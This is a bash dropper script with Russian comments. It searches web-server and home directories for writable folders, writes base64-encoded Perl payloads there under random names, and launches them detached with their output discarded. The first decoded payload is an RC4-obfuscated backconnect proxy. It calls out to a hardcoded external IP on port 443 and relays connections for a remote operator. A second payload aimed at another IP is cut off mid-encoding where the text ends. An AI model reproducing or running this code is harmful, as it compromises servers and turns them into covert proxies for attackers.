#!/bin/bash # ========================================================== # УНИВЕРСАЛЬНЫЙ ДЕПЛОЕР "FIRE-AND-FORGET" # - Поддерживает запуск бинарных файлов и Perl-скриптов # - Находит подходящие директории для развертывания # - Запускает компоненты под случайными именами # - Немедленно завершается # ========================================================== # ========================================================== # НАСТРОЙКИ # ========================================================== PAUSE_SECONDS=2 RANDOM_NAME_LENGTH=10 SEARCH_PATHS=("/var/www/" "/srv/" "/usr/share/nginx/" "/home/") MIN_DIR_DEPTH=4 # ========================================================== echo "[RUNNER] Запускаем сканирование системы на наличие подходящих директорий..." SHUFFLE_CMD="shuf" if ! command -v shuf &> /dev/null; then SHUFFLE_CMD="sort -R"; fi mapfile -t candidate_dirs < <(find "${SEARCH_PATHS[@]}" \ -path '/proc' -prune -o -path '/sys' -prune -o -path '/dev' -prune -o -path '/run' -prune -o \ -mindepth "$MIN_DIR_DEPTH" -type d -writable -executable -print 2>/dev/null | $SHUFFLE_CMD) dir_count=${#candidate_dirs[@]} if [ "$dir_count" -eq 0 ]; then echo "[RUNNER] КРИТИЧЕСКАЯ ОШИБКА: Не найдено ни одной подходящей директории для развертывания. Выход." exit 1 fi echo "[RUNNER] Найдено $dir_count подходящих директорий. Начинаем развертывание компонентов..." echo "---" dir_index=0 first_run=true # --- НАЧАЛО ЗАПУСКА КОМПОНЕНТОВ --- if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 1 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #1 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #1 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 2 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp 